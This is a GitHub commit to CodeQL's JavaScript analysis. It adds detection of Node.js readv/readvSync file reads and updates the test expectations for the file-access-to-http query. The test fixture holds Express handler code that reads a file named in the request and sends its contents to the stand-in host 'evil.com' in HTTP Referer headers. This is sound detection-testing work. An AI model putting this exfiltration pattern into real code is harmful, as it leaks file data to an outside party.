Skip to content

Commit e63e170

Browse files
committed
Added support for readv and readvSync functions in NodeJSFileSystemAccessRead class .
1 parent 6e72147 commit e63e170

File tree

3 files changed

+68
-6
lines changed

3 files changed

+68
-6
lines changed

javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -628,6 +628,22 @@ module NodeJSLib {
628628
}
629629
}
630630

631+
/** A vectored read to the file system. */
632+
private class NodeJSFileSystemAccessVectorRead extends FileSystemReadAccess,
633+
NodeJSFileSystemAccess
634+
{
635+
NodeJSFileSystemAccessVectorRead() { methodName = ["readv", "readvSync"] }
636+
637+
override DataFlow::Node getADataNode() {
638+
result = this.getArgument(1)
639+
or
640+
exists(DataFlow::ArrayCreationNode array |
641+
array.flowsTo(this.getArgument(1)) and
642+
result = array.getAnElement()
643+
)
644+
}
645+
}
646+
631647
/**
632648
* A write to the file system, using a stream.
633649
*/

javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,9 @@
11
#select
22
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | Outbound network request depends on $@. | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | file data |
33
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | file data |
4+
| FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | file data |
5+
| FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | file data |
6+
| FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | file data |
47
| bufferRead.js:32:21:32:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:32:21:32:28 | postData | Outbound network request depends on $@. | bufferRead.js:12:22:12:43 | new Buf ... s.size) | file data |
58
| googlecompiler.js:37:18:37:26 | post_data | googlecompiler.js:43:54:43:57 | data | googlecompiler.js:37:18:37:26 | post_data | Outbound network request depends on $@. | googlecompiler.js:43:54:43:57 | data | file data |
69
| readFileSync.js:25:18:25:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:25:18:25:18 | s | Outbound network request depends on $@. | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | file data |
@@ -18,6 +21,27 @@ edges
1821
| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:16:11:16:56 | content | provenance | |
1922
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | provenance | |
2023
| FileAccessToHttp.js:22:27:22:33 | content | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | provenance | |
24+
| FileAccessToHttp.js:34:9:34:57 | buffer | FileAccessToHttp.js:40:25:40:30 | buffer | provenance | |
25+
| FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | FileAccessToHttp.js:34:9:34:57 | buffer | provenance | |
26+
| FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | provenance | |
27+
| FileAccessToHttp.js:40:25:40:30 | buffer | FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | provenance | |
28+
| FileAccessToHttp.js:43:9:43:36 | buffer1 | FileAccessToHttp.js:49:25:49:31 | buffer1 | provenance | |
29+
| FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | FileAccessToHttp.js:43:9:43:36 | buffer1 | provenance | |
30+
| FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | provenance | |
31+
| FileAccessToHttp.js:49:25:49:31 | buffer1 | FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | provenance | |
32+
| FileAccessToHttp.js:49:25:49:31 | buffer1 | FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | provenance | |
33+
| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | provenance | |
34+
| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | provenance | |
35+
| FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | provenance | |
36+
| FileAccessToHttp.js:52:9:52:36 | buffer2 | FileAccessToHttp.js:53:17:53:23 | buffer2 | provenance | |
37+
| FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | FileAccessToHttp.js:52:9:52:36 | buffer2 | provenance | |
38+
| FileAccessToHttp.js:53:17:53:23 | buffer2 | FileAccessToHttp.js:58:27:58:33 | buffer2 | provenance | |
39+
| FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | provenance | |
40+
| FileAccessToHttp.js:58:27:58:33 | buffer2 | FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | provenance | |
41+
| FileAccessToHttp.js:58:27:58:33 | buffer2 | FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | provenance | |
42+
| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | provenance | |
43+
| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | provenance | |
44+
| FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | provenance | |
2145
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:21:13:26 | buffer | provenance | |
2246
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:32:13:37 | buffer | provenance | |
2347
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | provenance | |
@@ -74,6 +98,28 @@ nodes
7498
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } |
7599
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
76100
| FileAccessToHttp.js:22:27:22:33 | content | semmle.label | content |
101+
| FileAccessToHttp.js:34:9:34:57 | buffer | semmle.label | buffer |
102+
| FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | semmle.label | [Buffer ... (1024)] |
103+
| FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | semmle.label | {\\n h ... r }\\n } |
104+
| FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | semmle.label | { Referer: buffer } [Referer] |
105+
| FileAccessToHttp.js:40:25:40:30 | buffer | semmle.label | buffer |
106+
| FileAccessToHttp.js:43:9:43:36 | buffer1 | semmle.label | buffer1 |
107+
| FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | semmle.label | Buffer.alloc(1024) |
108+
| FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | semmle.label | {\\n h ... ) }\\n } |
109+
| FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | semmle.label | { Refer ... ing() } [Referer] |
110+
| FileAccessToHttp.js:49:25:49:31 | buffer1 | semmle.label | buffer1 |
111+
| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | semmle.label | buffer1 ... sRead1) |
112+
| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | semmle.label | buffer1 ... sRead1) [ArrayElement] |
113+
| FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | semmle.label | buffer1 ... tring() |
114+
| FileAccessToHttp.js:52:9:52:36 | buffer2 | semmle.label | buffer2 |
115+
| FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | semmle.label | Buffer.alloc(1024) |
116+
| FileAccessToHttp.js:53:17:53:23 | buffer2 | semmle.label | buffer2 |
117+
| FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } |
118+
| FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | semmle.label | { Refer ... ing() } [Referer] |
119+
| FileAccessToHttp.js:58:27:58:33 | buffer2 | semmle.label | buffer2 |
120+
| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | semmle.label | buffer2 ... sRead2) |
121+
| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | semmle.label | buffer2 ... sRead2) [ArrayElement] |
122+
| FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | semmle.label | buffer2 ... tring() |
77123
| bufferRead.js:12:13:12:43 | buffer | semmle.label | buffer |
78124
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | semmle.label | new Buf ... s.size) |
79125
| bufferRead.js:13:21:13:26 | buffer | semmle.label | buffer |

javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -31,31 +31,31 @@ app.post('/readv', async (req, res) => {
3131
const { filename } = req.body;
3232
const fd = await fs.open(filename, 'r');
3333

34-
const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ MISSING: Source[js/file-access-to-http]
34+
const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ Source[js/file-access-to-http]
3535
const { bytesRead } = fs.readvSync(fd, buffer);
3636
https.get({
3737
hostname: "evil.com",
3838
path: "/upload",
3939
method: "GET",
4040
headers: { Referer: buffer }
41-
}, () => { }); // $ MISSING: Alert[js/file-access-to-http]
41+
}, () => { }); // $ Alert[js/file-access-to-http]
4242

43-
const buffer1 = Buffer.alloc(1024); // $ MISSING: Source[js/file-access-to-http]
43+
const buffer1 = Buffer.alloc(1024); // $ Source[js/file-access-to-http]
4444
const { bytesRead1 } = fs.readvSync(fd, [buffer1]);
4545
https.get({
4646
hostname: "evil.com",
4747
path: "/upload",
4848
method: "GET",
4949
headers: { Referer: buffer1.slice(0, bytesRead1).toString() }
50-
}, () => { }); // $ MISSING: Alert[js/file-access-to-http]
50+
}, () => { }); // $ Alert[js/file-access-to-http]
5151

52-
const buffer2 = Buffer.alloc(1024); // $ MISSING: Source[js/file-access-to-http]
52+
const buffer2 = Buffer.alloc(1024); // $ Source[js/file-access-to-http]
5353
fs.readv(fd, [buffer2], (err, bytesRead2) => {
5454
https.get({
5555
hostname: "evil.com",
5656
path: "/upload",
5757
method: "GET",
5858
headers: { Referer: buffer2.slice(0, bytesRead2).toString() }
59-
}, () => { }); // $ MISSING: Alert[js/file-access-to-http]
59+
}, () => { }); // $ Alert[js/file-access-to-http]
6060
});
6161
});

0 commit comments

Comments
 (0)